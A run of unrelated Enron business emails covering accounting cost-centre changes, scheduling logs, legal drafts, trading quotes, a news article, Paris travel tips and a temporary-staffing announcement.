Per Stacy Aune concerning this issue, her understanding is that a manual
entry will be kicked out unless a cost center is entered for applicable
accounts.  If you have entries to accounts 60000000-79999999 you should
replace the profit center with a cost center for entries with a posting date
on or after 11/1/00.  Most profit centers have one or more related cost
centers assigned to them per the Standard Hierarchy Report but some do not.
If your chosen profit center does not have a related cost center let me
know.

Keep in mind that this is only for accts. 60000000-79999999 and most of those
accounts are not used by our group.  However, we do use some of the accounts
such as 62000000 Interest Income - Third Party, among others.

Cost Centers are only needed for these accounts for entries with a posting
date of 11/1/00 or later.  If you are doing 10/31/00 close entries, do them
the same as you have been.

Since we are in the middle of 10/00 close and this issue does not affect
10/31/00 entries, I will remind everyone in November to review this issue for
their entries.  Let me know if you have any questions.

Kevin

Hope Vargas
10/30/2000 06:08 PM
To: Kevin Jolly/HOU/ECT@ECT
cc: Marnie Lamb/NA/Enron@Enron
Subject: Spreadsheet for Review - New Cost Elements (60000000-79999999)

Kevin,
 Can you please coordinate this by Friday, November 10th.  We should have
profit centers set up for all of our companies, but I am not sure about cost
centers.  Please refer to the Standard Hierarchy Report.   Let me know if you
have any questions.  Thanks.

---------------------- Forwarded by Hope Vargas/HOU/ECT on 10/30/2000 07:05
PM ---------------------------

Stacey A Aune
10/30/2000 03:43 PM
To: Pam Becton/HOU/ECT@ECT, Marnie Lamb/NA/Enron@Enron, Karry
Kendall/HOU/ECT@ECT, Yvette Miroballi/HOU/ECT@ECT, Cheryl Dawes/CAL/ECT@ECT,
Todd Warwick/HOU/ECT@ECT, Faith Killen/HOU/ECT@ECT, Troy
Klussmann/HOU/ECT@ECT, Jim Pond/Corp/Enron@Enron, Jody Pierce/HOU/ECT@ECT,
Susan Helton/HOU/ECT@ECT, Sarah Brown/HOU/ECT@ECT
cc: Hope Vargas/HOU/ECT@ECT, Nadia A Rodriguez/NA/Enron@ENRON, Michael S
Galvan/HOU/ECT@ECT, Greg Whiting/Corp/Enron@ENRON, Stephen
Thatcher/Corp/Enron@Enron
Subject: Spreadsheet for Review - New Cost Elements (60000000-79999999)

As most of you may already know, beginning November 1st  (Sorry, we got this
Friday afternoon!), the 60000000-79999999 range of accounts will now require
a cost center instead of a profit center when using those accounts.  Some of
the accounts that this range includes is Interest Income/Expense, Gain/Loss
on Foreign Currency, and Gain/Losses on Disposition of Assets.

Unfortunately, the processes that are run automatically by the ISC that
eventually book to these accounts, will hit a default cost center on each
company if one is not specified.  This is very similar to the derivation
pooling profit center 12951.  The ISC is giving us the opportunity to specify
by company/account what the default cost center should be for each account.

Please review the attached spreadsheet below.  It contains a row for each
company and shows the default cost center the ISC has chosen for each account.

Please respond back to me with the following:

1)  Confirmation that you have reviewed and agree with the cost center that
has been chosen for each account on your company

    -OR-

2)  An attachment with the changes you desire the ISC to make with regards to
your default cost center by account

These changes will affect any posting date of November 1st or later.  For
those of you who have FX revalution on your companies, this change will have
an effect in October close when the FX program is run after the last workday.

I need a response from those companies with FX revalution ASAP.

For the remainder of the companies, I would like a response by Friday,
November 10th.

Thanks for your efforts in advance and sorry for the short notice,

Stacey

------------------------

Braden Sewell@ENRON
10/27/2000 01:22 PM
To: Allen W Ueckert/NA/Enron@Enron, Allison Millan/ET&S/Enron@ENRON, Amy
Spoede/HOU/ECT@ECT, Bart Myers/Corp/Enron@Enron, Chaundra
Perry/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Chris Musngi/NA/Enron@ENRON,
conniem@nepco.com, David Andrews/Corp/Enron@Enron, David
McEllin/FGT/Enron@ENRON, David Vandor/Corp/Enron@ENRON, Dawn
Derr/Corp/Enron@ENRON, Deborah Pritt/NA/Enron@ENRON, Donna
Burns/NPNG/Enron@ENRON, Elise Clark/Corp/Enron@ENRON, Igor
Miotto/SA/Enron@Enron, Je Chang/ET&S/Enron@ENRON, Jeff Smith/HOU/ECT@ECT,
Jill Erwin/HOU/ECT@ECT, Jim Davoli/Corp/Enron@ENRON, Judi
Carter/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Judy Lin/GPGFIN/Enron@ENRON,
Julia Pittman/GPGFIN/Enron@ENRON, Keith Simper/HOU/ECT@ECT, kimc@nepco.com,
Krysti Knight/HOU/ECT@ECT, Leo Paige/Enron Communications@Enron
Communications, Luis Juarros/SA/Enron@Enron, Odair Ribeiro/SA/Enron@Enron,
Pamela Rush/Corp/Enron@ENRON, Patricia Anderson/HOU/ECT@ECT, Patricia
Shannon/HOU/ECT@ECT, Patrick Dominguez/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT,
Paula J Parrish/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Robert D
Smith/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, ronp@nepco.com, Sheila
Miller/NA/Enron@ENRON, Stephen Schwarzbach/Corp/Enron@Enron, Steve
Frazier/HOU/EES@EES, Thach C Phan/Corp/Enron@Enron, Thao
Nguyen/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Thomas Meers/GPGFIN/Enron@ENRON,
Todd Ross/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
cc: Stacey A Aune/HOU/ECT@ECT, Maya Beyhum/LON/ECT@ECT, Duane
Fritz/Corp/Enron@ENRON, Randy Parman/Corp/Enron@ENRON, Brandee
Sanborn/Corp/Enron@ENRON
Subject: Spreadsheet for Review - New Cost Elements (60000000-79999999)

I promise this is the last note about this today.

The attached spreadsheet has all the default cost centers we have loaded in
the system for the accounts listed below.  We  have made an initial attempt
to do this for you.    It is not required to use the same default cost center
for each of these accounts on a company code.  Previously when these defaults
were assigned at the profit center level, you were only allowed one default
profit center for a company code.  We are not encouraging multiple default
cost centers for these accounts, but we just want to offer the flexibility.

Please review the attached file, and forward me any changes you would like
made.  You may only need to review the fields in yellow & green.  I have
already sent you a note regarding the "No CC" fields that are in red.   We
are only entering the default cost centers for the accounts that had activity
on your company codes in year 2000.  That is why there are a lot of empty
fields you do not have to worry about.   We will continue to add and modify
the cost center defaults on an as needed basis.

Use this information to help you analyze the spreadsheet:
Accounts in black The accounts in black were already cost elements and
already had the default cost centers assigned.
Accounts in blue- The accounts in blue are the new cost elements.  If there
was an existing default cost center for a company, we have already assigned
it to    the new accounts in blue.

Yellow  We selected a default cost center from the values assigned to  the
default profit center for that company code.
Green  There was not a default profit center so we reviewed the cost centers
on that company and selected the one we thought was most appropriate.
Red  This company code did not have any cost centers.  I have already asked
you for these in a previous email.

If you make changes, please move them to a spreadsheet by themselves or make
them easy for us to identify in this spreadsheet.   Thanks again for all your
help.

Accounts posted to automatically by the system

* Already a cost element before this new process.


Mr. Reitmeyer,
	Please confirm the index price on these two deals.

Thank you,
Ryan Sheeren

Enron Net Works
ryan.sheeren@enron.com
(713)853-5817 Office


Hi Vince!

Please see the Wharton information below, as well as Jeff's comments.

Do you want to be the Judge?

Please let me know ASAP.

Thanks!

--Christie.

----- Forwarded by Christie Patrick/HOU/ECT on 03/19/2001 01:53 PM -----

	Jeffrey A Shankman/ENRON@enronXgate
	03/19/2001 11:18 AM

		 To: Christie Patrick/HOU/ECT@ECT
		 cc:
		 Subject: RE: Wharton Business Plan Competition

I'll be in New York that week.  Ask Vince.

Jeff

 -----Original Message-----
From:  Patrick, Christie
Sent: Monday, March 19, 2001 9:43 AM
To: Shankman, Jeffrey A.
Subject: FW: Wharton Business Plan Competition
Importance: High

Jeff,
 Please see Wharton Business Plan information below.

Do you want to be the judge?

Thanks!

--Christie.
----- Forwarded by Christie Patrick/HOU/ECT on 03/19/2001 09:40 AM -----

	"Stamer, Anne" <stamer@wharton.upenn.edu> 03/19/2001 08:42 AM 	   To:
"'Christie.Patrick@enron.com'" <Christie.Patrick@enron.com>  cc:   Subject:
FW: Wharton Business Plan Competition

Hi Christie:

I hope this email finds you  well.   The Wharton Business Plan Competition is
going really  well.

We would really like to Enron participate.  Is someone from your company
available to  be a be a judge for our Phase  III?  Attached is some
information.

Anne

-----Original Message-----
From: Andrew Gaffney  [mailto:gaffneya@wharton.upenn.edu]
Sent: Thursday, March 08, 2001  9:47 AM
To: Christie.Patrick@enron.com
Cc: Stamer,  Anne
Subject: Wharton Business Plan Competition

Dear Ms. Patrick,

Anne Stamer asked me to contact you  regarding Enron providing a judge for
Phase III of the Business Plan  Competition.  Phase III judges are generally
Partner-level individuals at  venture capital firms, Managing Directors from
investment banks, or other  senior individuals who have extensive experience
assessing and working with  early stage ventures.  A Phase III judge will
receive five business plans,  with the entire judging process requiring 4-5
hours during the weeks of April 2  and April 9.  I am attaching a document
that describes the competition and  judging procedures for Phase III in more
detail.  We are looking to  finalize the list of Phase III judges by March
23, so if you could please  forward either Anne or I the name of the
appropriate individual, we can contact  them directly with more details.
Please let me know if you have further  questions and we appreciate your
support of the Competition.

Sincerely,

Andrew  Gaffney
 - Phase III Judge Info 00-01.doc << File: Phase III Judge Info 00-01.doc >>


Start Date: 3/31/01; HourAhead hour: 24;  No ancillary schedules awarded.
Variances detected.
Variances detected in Generation schedule.

    LOG MESSAGES:

PARSING FILE -->> O:\Portland\WestDesk\California Scheduling\ISO Final
Schedules\2001033124.txt

---- Generation Schedule ----
$$$ Variance found in table tblGEN_SCHEDULE.
     Details: (Hour: 24 / Preferred:   0.00 / Final:   0.00)
  TRANS_TYPE: FINAL
  SC_ID: ARCO
  MKT_TYPE: 2
  TRANS_DATE: 3/31/01
  UNIT_ID: CARBGN_6_UNIT 1

---- Energy Import/Export Schedule ----
*** Final schedule not found for preferred schedule.
     Details:

  TRANS_TYPE: FINAL
  SC_ID: ECTRT
  MKT_TYPE: 2
  TRANS_DATE: 3/31/01
  TIE_POINT: SYLMAR_2_NOB
  INTERCHG_ID: EPMI_CISO_DFISH
  ENGY_TYPE: NFRM


Per our discussion.
---------------------- Forwarded by Kay Mann/Corp/Enron on 11/17/2000 02:13
PM ---------------------------

	From:  Ben F Jacoby @ ECT                           11/16/2000 06:01 PM

Sent by: Ben Jacoby@ECT
To: Kay Mann/Corp/Enron@ENRON, Catherine Clark/HOU/ECT@ECT
cc:

Subject: Re: LM6000 Contract Payment Allocations

E voila!

Kay Mann@ENRON
11/16/2000 02:47 PM
To: Ben F Jacoby/HOU/ECT@ECT
cc:
Subject: Re: LM6000 Contract Payment Allocations

Ben,

Has the payment allocation chart been updated, and if so, could I get a copy?

Thanks,

Kay


---------------------- Forwarded by Richard B Sanders/HOU/ECT on 12/30/99
09:27 AM ---------------------------

Richard B Sanders
12/30/99 09:25 AM
To: Steven J Kean/HOU/EES@EES, Richard Shapiro/HOU/EES@EES, Joe
Hartsoe/Corp/Enron@ENRON, Richard Ingersoll/HOU/ECT@ECT, Christi L
Nicolay/HOU/ECT@ECT, Mark E Haedicke/HOU/ECT@ECT, Kevin M Presto/HOU/ECT@ECT,
James B Fallon/HOU/ECT@ECT, Rogers Herndon/HOU/ECT@ect
cc: Twanda Sweet/HOU/ECT@ECT, Elizabeth Sager/HOU/ECT@ECT
Subject: Draft Complaint

I am forwarding a draft of the Amended Complaint in the TVA lawsuit. The
"control area" causes of action have added to our existing request for
declaratory relief on the "delivery point" issue. We would like to file this
next week, so please review this asap. My assistant is putting together a
conference call for Tues afternoon to discuss.
---------------------- Forwarded by Richard B Sanders/HOU/ECT on 12/30/99
09:10 AM ---------------------------

Elizabeth Sager
12/29/99 11:59 AM
To: Richard B Sanders/HOU/ECT@ECT
cc:
Subject: Draft Complaint

---------------------- Forwarded by Elizabeth Sager/HOU/ECT on 12/29/99 11:59
AM ---------------------------

"Anna L. Surber" <Asurber@Gibbs-Bruns.com> on 12/29/99 08:50:14 AM
To: Elizabeth Sager/HOU/ECT@ECT
cc:
Subject: Draft Complaint

 <<1rwh01!.WPD>>

 - 1rwh01!.WPD


Jason,

You did well in the interviews.  You really impressed John Arnold.  Way
to go.

Phillip

>From: Jason.Wolfe@enron.com
>To: pallen70@hotmail.com
>Subject: P&L
>Date: Fri, 1 Dec 2000 20:53:46 -0600
>
>Phillip,
>Can you tell me where I stand in the trading track program?
>I felt good about my interviews with John Arnold and Storey. Keith's went
>fairly well.
>The others didn't go one way or the other.
>Jason
>
>(See attached file: YTD Recon.xls)(See attached file: Phillip e-mail.xls)
><< YTDRecon.xls >>
><< Phillipe-mail.xls >>

______________________________________________________________________________
_______
Get more from the Web.  FREE MSN Explorer download : http://explorer.msn.com


FYI. The first leg of the trip has been confirmed.

Vince.
 -----Original Message-----
From: 	"Frank A. Wolak" <wolak@zia.stanford.edu>@ENRON [mailto:IMCEANOTES-+22Frank+20A+2E+20Wolak+22+20+3Cwolak+40zia+2Estanford+2Eedu+3E+40ENRON@ENRON.com]
Sent:	Thursday, August 23, 2001 9:26 AM
To:	Kaminski, Vince J
Subject:	RE:

Vince,

  4 pm on September 4 and I'd be happy to go to dinner.

Frank

At 08:33 AM 8/23/01 -0500, you wrote:
>Frank,
>
>Thanks for your message.
>
>What about a meeting on Tuesday, September the 4th.
>We could meet at your office, let's say at 4 p.m. We would be delighted if
>you
>could join us for dinner later in the evening on the same day.
>
>
>Vince
>
>     -----Original Message-----
>    From:   "Frank A. Wolak" <wolak@zia.stanford.edu>@ENRON
>
>[mailto:IMCEANOTES-+22Frank+20A+2E+20Wolak+22+20+3Cwolak+40zia+2Estanford+2
>Eedu+3E+40ENRON@ENRON.com]
>
>
>    Sent:   Wednesday, August 15, 2001 11:13 AM
>    To:     Kaminski, Vince J
>    Subject:
>
>    Vince,
>
>     I'll be out of the country for the next
>    two weeks, but should be back September 3
>    and will be in the office all that week.
>
>    Frank
>
>
>
>**********************************************************************
>This e-mail is the property of Enron Corp. and/or its relevant affiliate
>and may contain confidential and privileged material for the sole use of
>the intended recipient (s). Any review, use, distribution or disclosure by
>others is strictly prohibited. If you are not the intended recipient (or
>authorized to receive for the recipient), please contact the sender or
>reply to Enron Corp. at enron.messaging.administration@enron.com and
>delete all copies of the message. This e-mail (and any attachments hereto)
>are not intended to be an offer (or an acceptance) and do not create or
>evidence a binding and enforceable contract between Enron Corp. (or any of
>its affiliates) and the intended recipient or any other party, and may not
>be relied on by anyone as the basis of a contract by estoppel or
>otherwise. Thank you.
>**********************************************************************


I trust you received my fax re contract / confirm?

Debra Perlingiere
Enron North America Corp.
Legal Department
1400 Smith Street, EB 3885
Houston, Texas 77002
dperlin@enron.com
Phone 713-853-7658
Fax  713-646-3490


see attached.
---------------------- Forwarded by Tim Belden/HOU/ECT on 01/24/2001 01:59 PM
---------------------------

	Enron Capital & Trade Resources Corp.

	From:  Michael M Driscoll                           01/24/2001 11:08 AM

To: Tim Belden/HOU/ECT@ECT
cc:
Subject: lavodeal1


Wednesday February 6, 1:41 pm Eastern Time
BusinessWeek Online
DAILY BRIEFING -- Can UBS Tame Enron's Wild Traders?
Daily Briefing: NEWS ANALYSIS
By Emily Thornton in New York, David Fairlamb in Zurich, and Stephanie Anderson Forest in Dallas
Back in November, Dynegy (NYSE:DYN <http://finance.yahoo.com/q?s=dyn&d=t> - news <http://biz.yahoo.com/n/d/dyn.html>) had what sounded like a great idea: Buy Enron's flagship trading business in natural gas and electricity, and immediately become the dominant force in those markets. Dynegy fled when Enron started to collapse under an avalanche of scandal. Now, Zurich [Switzerland]-based UBS Warburg (NYSE:UBS <http://finance.yahoo.com/q?s=ubs&d=t> - news <http://biz.yahoo.com/n/u/ubs.html>) is making the same bet, albeit for a lot less money.
The question now: Will the conservative bank be able to impose Swiss order on the rogue Texas company's traders? On one level, the deal doesn't seem completely farfetched. Enron's gas and electricity trading actually seems to have made money. Other bankers who checked it out estimate the trading operations racked up $3 billion in pretax profits over the past two years [see BW, 2/11/02, ``Enron: How Good an Energy Trader?''].
Still, UBS had good reason to go for a deal that gave it 67% of future pretax profits for a pledge only to pay the salaries of 625 Enron employees. Obviously, the Enron name is mud, and getting people to trade with the company will be difficult enough. But managing Enron's swaggering traders -- its core asset -- could turn out to be even harder.
CULTURE CLASH. Enron may be on its last legs, but its masters-of-the-universe culture lives on, say insiders. ``Even after going down in flames, a lot of these people have undiminished confidence in their ability,'' says a former Enron trader who asked not to be named. Competitors doubt that people who earned as much as $1 million a year in the freewheeling, high-risk Enron culture will be grateful to become a small piece of UBS's massive fixed-income business.
Although many have signed contracts with UBS that prevent them from leaving Enron for an undisclosed period, ``they're all exploring their options,'' says one banker privately. Indeed, some traders are talking about trying to buy the trading unit back from UBS after it gets going again. UBS says it's not worried about rogue traders. ``We're confident in the people we have hired,'' says Michael Hutchins, global co-head of credit fixed income at UBS Warburg.
For the scheme to work, however, UBS must persuade Enron's traders to accept its risk-management practices. And that will be tough: One reason Enron's traders made so much is that they took big risks. Analysts estimate that Enron was willing to put as much as $66 million at risk on a trade, vs. $12.2 million at Dynegy or $16 million at Duke Energy. UBS Warburg is willing to put up to $131 million at risk in all of its deals with a single trading partner, but insiders says its energy traders won't be allowed to risk ``anything like that'' on a single trade. UBS'ers abide by tighter controls than at Enron.
``SMOOTHING ELEMENT.'' UBS officials insist that they have no rosy delusions about the investment. That's partly because they had been researching the energy-trading business for more than a year as a way of diversifying the bank's trading income. ``Earnings in the energy-trading business do not depend on developments in the capital markets, so they could work as a smoothing element,'' says UBS President Peter A. Wuffli.
That's in fact what motivated UBS to send a small team down to Houston when Enron put the business up for sale after the bankruptcy filing. Even after federal antitrust authorities give the final go-ahead, the Swiss bank says it plans to take things slowly. ``We don't know how quickly this is going to start up,'' says UBS CEO John Costas. ``We'd be happy in the first year if this business is half as big as it had been historically.''
Still, anything associated with Enron is arguably fraught with risk at any price. ``It's not clear how successful UBS is going to be,'' says Jeff Dietert, an analyst at investment bank Simmons & Co. in Houston. ``And I think UBS knows that. That's why it wasn't willing to pay anything up front.''
Some industry insiders doubt that Enron's traders will prove to be exceptional under the new rules. But UBS isn't about to change its own way of doing business. ``Entering into energy trading does not mean extending our appetite for risk,'' says Wuffli. Swiss family Enron? Don't bet the chalet on it.
Go to www.businessweek.com <http://rd.yahoo.com/finance/editorial/bizwk/*http://www.businessweek.com> to see all of our latest stories.


John,

Today we saw 39.25 and 39 trade in the Mar 02 and 44 traded in the Day ahead
market.  All for PPoA flat power.

Regards,
Clinton

----------------------------------------------
Clinton Kripki
GFI Group Inc.
Phone:  212 968 2813
email:  clinton.kripki@gfinet.com
website:  www.gfinet.com

***************************************************************
Confidentiality note: This e-mail contains information from the
GFI Group Inc. and/or its affiliates, including GFInet inc.,
that is confidential and/or legally privileged.   This
information is intended only for the use of the individual or
entity named on this e-mail.  This e-mail and its content may
not be reproduced or retransmitted without the express written
permission of The GFI Group.
***************************************************************


I will not be able to attend today's 2:00 meeting due to a conflict with Rick Causey's bi-weekly Accounting & Tax meeting (unless you feel the ENW meeting is more important).  Please let me know if you would like me to send a substitute.

Kerry


The following deals have been entered today as wellhead purchases:

Deal #		Meter #	Counterparty	Tr Zn	Nom	Price

712357		2630		Swift Energy	18	21/d	100% 										IFHSC less $1.38

712358		9603		Vintage Gas	8	100/d	84% IFHSC

Bob


Rob, can you give me a view on where you stand for fourth quarter from an
orig point of view ie) deals and value.

Regards
Delainey


The settle price is noted at 4.234


Hi Avrim:

So sorry this took me so long, and I hope you haven't already left---I recall
you saying that you guys were leaving on the 1st, which I hope is the case.
Anyway, hope that this finds you before you depart.

First, if you didn't buy a "Plan du Paris" ("map of Paris, in English) on
your first trip, I highly recommend it. All Parisians use it, it costs about
$10-15 and you'll use if for all your other trips to Paris.  It's a must for
getting around the town.  Every street in the city; all the
"arrondissements": map of the subway system, etc.

OK, here goes.  It's been a while, and I don't have my "Plan" with me here in
Mexico, so I'm working from memory.  Hope that it's helpful.  Once you've
bought your "Plan," you can reference my suggestions and get yourself
oriented, link the walks together, etc.

For an exotic (and cool) experience, go to "the Mosque" ("La Mosquee") in
French.  It's in the southeastern part of the city (15th arrondissement, or
5th?).  Go the cafe in the mosque and have tea.  It's just very cool.
La Rue Moufftard (sp?).  It starts on the top of the hill where the Pantheon
is (across the street from the Luxembourg Gardens).  It's a neat little
street that winds down the other side of the hill.  Go before noon when the
market fills the street---you can buy a few things and picnic in the
Luxembourg Garden.
Speaking of the Luxembourg Gardens, it's a neat place.  I'd take a walk
through---check out all of the "espaille'd" fruit trees----truly a work of
art.
Walk to the other side of the Garden (opposite from the Pantheon side) and
find the "St. Sulpice" church.  Very cool neighborhood (St. Germain des Pres
neighborhood).  The church is on a square; there's a lot of very nice cafes
and restaurants, and it's the site of the famous "Left Bank" fashion center.
While you're over there, wander to the Montparnasse neighborhood and stop in
at the "Rosebud" bar.  Hemmingway and the gang drank there.  It's small, the
waiters where little white coats and they play real vinyl records of the best
jazz anywhere.  Best of all, it's not pretentious.  It's hip.
Also there is a cemetery where many famous folks are buried (including Serge
Gainsbourg)----cemeteries are of course a big deal in Paris, the most notable
being the Pere LaChaise Cemetery, where Jim Morrison is buried. They're
Interesting enough, but I don't know if I'd go out of my way....
In the Latin Quarter (5th arrond), check out "L'Ecluse," right on the river
at the Quai les Grands Augustins, just off Boulevard St. Michel.  Little wine
bar with tasty things to nibble on.  Great place to take a breather in the
late afternoon (somewhat) in style.
The Picasso museum in the &Marais8 neighborhood is an absolute must.  And
while you,re there be sure to cruise the neighborhood.  Very gentrified these
days (and it,s the gay neighborhood), but been renovated into a lot of very
impressive art galleries and fashion houses---very neat.
While there (in the same neighborhood) go to the &Place des Vosges.8  Unreal
big old square from way back when---great to look at and there,s shops and
cafes.
The &Institute du Monde Arab8 is on the Mitterand,s &seven great projects.8
Architechturally magnificent and the exhibits inside are modest and very
impressive.
Rue de la Roquette is now extremely hip---on the east side of the Bastille
behind the &new opera8 (if you get a chance go an opera there---very populist
experience and fun.  Roquette is where the clubs and the musique are.
General hip-dome (and if you,re inclined to do some real people-watching, go
to Boulevard St. Germain and sit outside at Les Deux Magots or Caf, Fleure
and watch away).
Find on your map the church St. Eustache.  Walk around east of it for some
very cool neighborhood viewing*used to be big wholesale butchers and such
(extension of Les Halles, which is now a big shopping mall but used to be
Paris, outdoor market).  From there walk to &Place des Victoires, or Place
des Notre Dame des Victoires (I can,t remember).  And look for Gallerie
Vivienne, too---Belle Epoque little food a shopping corrider*very neat.
And finally, while your over there, go to the Palais Royale (by the Louvre),
which is where Louis XIV grew up as a boy---fantastic courtyard,
controversial artwork (black and white striped columns);  walk to the
opposite end, exit the courtyard out the back and continue walking in the
neighborhood.

I,ll leave the museums, etc. to you.  Sorry to quick and dirty.  Have a great
time.  See you soon.

Best,
Jeff


Greg,
I want to thank you for the time you took out of your day to meet with me
Tues. evening. ?It was nice to meet you and share some very good wine with
Donny.
We continue to provide execution for a number of your traders on the NYMEX,
which we appreciate very much. ?As you know most of our money is made
clearing trades and would apperciate the opportunity to clear Enron's trades
once again. ?

If I can ever do anything for you in the NYMEX arena I would love to. ?You
can reach me at 713-266-0050 of on the Yahoo IM at s_vankeppel. ?Many thanks
again for your time.

Regards,
Steffen van Keppel
Refco, Inc.


Mary,

I am sending to you today via Federal Express execution copies of the GISB
between Keyspan-Ravenswood and Enron North America Corp.   Please have each
signed by an officer of your company and return same to my attention.

I will forward an original for your records upon final signature.  Please do
not hesitate to give me a call should you have any questions and or comments.

Best regards,
Debra Perlingiere
Enron North America Corp.
Legal Department
1400 Smith Street, EB 3885
Houston, Texas 77002
dperlin@enron.com
Phone 713-853-7658
Fax  713-646-3490


Zimin,

Andrea Reed asked for our help in looking for end-users of steel which might
be used to take a commodity hedge position.    She will work on identifying
potential equities or indices which might be used, and then we will analyze
them for correlation or co-integration with steel prices.   Andrea should be
contacting you next week regarding the project.     Hector has done
co-integration analysis in the past and has the tools to do this project.

Thanks,

Stinson

Anrdrea:   We will also need you to identify which steel prices/indices
should be used in this analysis.


Start Date: 4/10/01; HourAhead hour: 20;  HourAhead schedule download failed.
Manual intervention required.

    LOG MESSAGES:

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Schedules\2001041020.txt is empty.
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i have a new one for you to download on napster:

lord tariq and peter gunz:   deja vu.

you will definately like this one.  let me know when it is a good time to
burn another cd.


In today's GREENWIRE:

TOP STORY: WHITE HOUSE FLOATS PLAN TO CUT CO2 EMISSIONS
The White House released an outline for cutting carbon dioxide emissions
yesterday supporting technology and incentives instead of the world-wide
emissions trading system as proposed in the Kyoto Protocol.  Although
President Bush has not settled on details, the report on the economy,
published by the White House, replaces setting fixed targets with
emission-intensity targets that would expand or contract with economic
growth. This system would grant the United States easier targets as long as
economic growth continues to exceed emission growth, the report suggests.

*** BUDGET SPECIAL REPORT ***
Get a complete overview of the administration's FY '03 budget request!
Environment & Energy Daily's Budget Special Report includes stories and
tables on all the environmental and energy agencies and programs. This
report is updated daily with new information as the always-contentious
process unfolds.

For budget tables and the most recent stories go to:
http://www.eenews.net/EEDaily/sr_budget1.htm

(If you do not have passcode access to E&E Daily, call David or Kristen at
202/628-6500 and get your codes.
******************************************

*** Click here to read all the stories
http://www.greenwire.com ***

19 STORIES MAKE IT INTO GREENWIRE TODAY; HERE ARE SOME HEADLINES:

*  CLIMATE CHANGE: Bush introduces draft plans to cut emissions
*  ENERGY POLICY: EPA memo criticized White House draft of energy plan
*  KLAMATH: Group sues to strip coho salmon of threatened status; more
suits await
*  BUDGET: Spending plan stirs partisan debate, enviro criticism
*  CLEAN WATER: Court says Calif. residents may sue utilities over pollution
*  FORESTS: Bush proposes locally managed 'charter forests'
*  CALIFORNIA: Forestry board tries again to develop watershed-based timber
plan
*  OIL SPILLS: Alaska lacks clear cleanup definitions, state's high court
rules
*  GAS: Decision in NAFTA's MTBE case expected soon
*  YUCCA MOUNTAIN: Guinn to lobby Bush to reject nuclear waste plan
... AND MUCH MORE!

======================
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written and produced by the staff of E&E Publishing, LLC,
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Publisher: Michael Witt
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Operations Associate: Louis R. Reeder


Colleen,

Thanks for the heads up on this.  We would be pleased to look into this when
the time is right from your perspective.   Let us know.   Please follow-up
with Mike Rogala or me.

FYI - there were some conversations with ProStaff earlier this year around
the same topic and I believe the conclusion was that their bandwidth needs to
were too small to be interesting.   I would recommend that we get some sizing
info from Corestaff up front so we can determine whether it is worth their
time and ours.

Thanks again,

Brad

	Colleen Koenig@ENRON
	12/18/00 05:23 PM

		 To: Brad Nebergall/Enron Communications@Enron Communications
		 cc: Jennifer Medcalf/NA/Enron@Enron
		 Subject: Broadband opportunity with Corestaff

Brad,
As you are aware, Enron has recently signed an agreement with Corestaff for
temporary staffing services.  Our group, Global Strategic Sourcing Business
Development, is now working with Corestaff from a cross-sell prospective.
Corestaff has a contract with MCI for broadband services that will be coming
up this year for renegotiation.  In the coming month, we would like to
facilitate a meeting with the EBS contacts you determine and the Corestaff IT
contacts.

Nationally, Corestaff has 100 offices and its parent company, The Corporate
Services Group, has 348 offices located in Great Britain, France and Spain.
For your reference, I've also included the original all-Enron e-mail
regarding the Corestaff alliance.

Colleen Koenig
Analyst
Global Strategic Sourcing, Business Development
713.345.5326

----- Forwarded by Colleen Koenig/NA/Enron on 12/18/2000 05:15 PM -----

	Cindy Olson Executive VP Human Resources & Community Relations
	Sent by: Enron Announcements
	12/12/2000 06:50 PM

		 To: All Enron Employees United States
		 cc:
		 Subject: Improved Process for Engaging Temporary Workers
  Cindy Olson  Executive VP
   Human Resources & Community Relations

As you are aware, Enron utilizes temporary staffing services to satisfy
staffing requirements throughout the company.  For the past several months, a
project team, representing Enron,s temporary staffing users, have researched
and evaluated alternative Managed Services programs to determine which source
would best meet our current and future needs in terms of quality, performance
and cost containment objectives.  The Business Unit Implementation Project
Team members are:

Laurie Koenig, Operations Management, EES
Carolyn Vigne, Administration, EE&CC
Linda Martin, Accounting & Accounts Payable, Corporate
Beverly Stephens, Administration, ENA
Norma Hasenjager, Human Resources, ET&S
Peggy McCurley, Administration, Networks
Jane Ellen Weaver, Enron Broadband Services
Paulette Obrecht, Legal, Corporate
George Weber, GSS

In addition, Eric Merten (EBS), Kathy Cook (EE&CC), Carolyn Gilley (ENA),
Larry Dallman (Corp/AP), and Diane Eckels (GSS) were active members of the
Selection Project Team.

As a result of the team,s efforts, we are pleased to announce the beginning
of a strategic alliance with CORESTAFF,s Managed Services Group.  This group
will function as a vendor-neutral management entity overseeing all staffing
vendors in the program scope. They will also provide a web based online
technology tool that will enhance the ordering and reporting capabilities.
The goal of our alliance with CORESTAFF is to make obtaining a temporary
worker with the right skills and experience easier while protecting the best
interests of the organization.

We plan to implement Phase I of this improvement effective January 2, 2001.
This Phase I of the implementation will encompass administrative/clerical
temporary workers at the Houston locations only. If you currently have
administrative/clerical temporary workers in your department, the enhancement
will not affect their position. In an effort to preserve relationships, all
current staffing vendors will be invited to participate in this enhanced
program.  CORESTAFF shares our commitment to minimize any disruptions in
service during this transition.

We expect to incorporate the administrative/clerical workers in Omaha,
Seattle and Portland in Phase II, which is scheduled for February, 2001.  The
scope and timing of any additional phases will be determined after these two
phases have been completed.

Realizing the impact that the temporary workforce has in business today, we
selected CORESTAFF,s Managed Services Group based on their exceptional
management team, commitment to quality service, and creative solutions to our
staffing needs.  The relationship promises to offer Enron a cost effective
and simple means for obtaining temporary employees.

In the coming weeks, Enron and CORESTAFF,s Managed Services Group will be
communicating to Enron,s administrative/clerical temporary staffing vendors
about the new process.

There are many benefits to this new Managed Services program, which are
outlined on the attached page.  More details on how to utilize CORESTAFF,s
Managed Services program will be announced soon and meetings will be
scheduled to demonstrate the reporting system and to meet the Managed
Services team.

What is Managed Services?

CORESTAFF,s Managed Services program includes:

? Vendor-neutral management model
? Equal distribution of staffing orders to all staffing partners
? Web-based application with online ordering, data capture and customized
reporting
? Benchmarking and performance measurement for continuous improvement
? Methodologies for accurate skill-matching and fulfillment efficiencies

Key Benefits

? More vendors working on each order from the outset ) faster access to
available talent pools
? Standardized mark-ups and fees to manage costs more effectively
? Online access to requisition status for users
? Robust databases offering managers enhanced tracking and reporting of
temporary usage and expenditures
? Standard and customized reporting capabilities -- online
